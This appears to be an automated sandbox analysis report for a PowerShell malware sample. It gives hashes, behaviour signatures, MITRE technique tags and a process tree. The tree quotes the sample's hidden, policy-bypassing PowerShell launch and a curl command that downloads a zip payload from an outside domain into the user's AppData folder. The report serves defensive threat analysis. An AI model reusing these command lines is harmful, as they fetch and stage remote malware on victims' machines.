1bbec3f72e50f5707afa4283b2b8a786dbeca2870a019bd802a1952c5c9cdc95

Analysis

max time kernel
149s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
01/08/2026, 06:15

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
script.ps1
Size 1KB
Sample260801-g1bpcseq2z
SHA256 1bbec3f72e50f5707afa4283b2b8a786dbeca2870a019bd802a1952c5c9cdc95
MD5 41eaea6dce06ebe6ac0390a6f51534cd
SHA1 e1aa960a360e88c1d3a8dd55c684f9cc8492c469
SHA512 7684650d4a0527fd65e127cedec4f5cbeb4cbe74871d95591fbbe2ddbeaa4448ce0c8ee02769a0e915dcfee2c9a7a2ee11716f6fb57e2d4efed57b3130c4b682
TLSH
T11F418511021881BECAF7C0E79AA918118AD690EB01CA7D8E3DAFD2D1DF821688653836
MD5 SHA1 SHA512 TLSH

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4464	powershell.exe
1144	powershell.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
4464	powershell.exe
4464	powershell.exe
1144	powershell.exe
1144	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	4464	powershell.exe
Token: SeDebugPrivilege	1144	powershell.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 4464 wrote to memory of 1144	4464	powershell.exe	86
PID 1144 wrote to memory of 1480	1144	powershell.exe	88

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\script.ps1
1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4464
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ep Bypass -W Hidden -F "C:\Users\Admin\AppData\Local\Temp\t.ps1"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1144
- - C:\Windows\system32\curl.exe
    "C:\Windows\system32\curl.exe" -L https://savricsaxen.cloud/storage/media/6a0de6056a65e/draw.zip -o C:\Users\Admin\AppData\Roaming\pupdate.zip
    3⤵
    PID:1480

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 3KB
SHA256 88cc4f40f0eb08ff5c487d6db341b046cc63b22534980aca66a9f8480692f3a8
MD5 556084f2c6d459c116a69d6fedcc4105
SHA1 633e89b9a1e77942d822d14de6708430a3944dbc
SHA512 0f6557027b098e45556af93e0be1db9a49c6416dc4afcff2cc2135a8a1ad4f1cf7185541ddbe6c768aefaf2c1a8e52d5282a538d15822d19932f22316edd283e
TLSH
T1BF610E323375B1D4C9567F072E2819C053BF8396EA94AF5CB29C621ED92641B8F122F3
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 cedb0aec1510c56984a9f9e999d1f1a5a91bf1f72475c753b536f42c1c8b5f05
MD5 735d8bf488ac43ba92e3c5cd8287484d
SHA1 eb39805c92dcf552fc37457669e31195d3d14c24
SHA512 0c532c44fdc46b0c118846bb28ab9e7a519779ea420fd101c45f2308903fa0c466fa28199a5dfb39c39a0a5745f874a9840c17978d2570accb34e027b2dd4896
TLSH
T1B2218627B39C8921CC86123A109D9C1172B283C7809ECF9F6FC0D600A07F998CB21290
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_zr5u1ubp.0du.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_zr5u1ubp.0du.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

t.ps1

Path C:\Users\Admin\AppData\Local\Temp\t.ps1
Size 252B
SHA256 aa30b21d760f2a0aae01c877fd83b86e109238dd79c8ef684a933f130fba865f
MD5 e69b367f6b8e0c072bfa322e4f8c261e
SHA1 0fd5b31c96d0ea6d415be54065c12c5390b189a4
SHA512 4ed001a25fd182e16ecf279169e186d2bc5713c810999745afccaf0b68e7282b05a917665288b294662ed48933a509c5fadc00f63a50e0217600c82c205aa29b
TLSH
T1FFD0A577200643B6C5F541DB55F476C5E01F4D46140F55751517E3061C2F521D983975
MD5 SHA1 SHA512 TLSH

Submit Download

memory/1144-15-0x00000148D1BB0000-0x00000148D1BC0000-memory.dmp

Download

memory/1144-14-0x00000148D1BB0000-0x00000148D1BC0000-memory.dmp

Download

memory/1144-26-0x00000148D1BB0000-0x00000148D1BC0000-memory.dmp

Download

memory/1144-25-0x00000148D1BB0000-0x00000148D1BC0000-memory.dmp

Download

memory/4464-0-0x00000201F19A0000-0x00000201F19B0000-memory.dmp

Download

memory/4464-1-0x00000201F19A0000-0x00000201F19B0000-memory.dmp

Download

memory/4464-2-0x00000201F3A20000-0x00000201F3A42000-memory.dmp

Download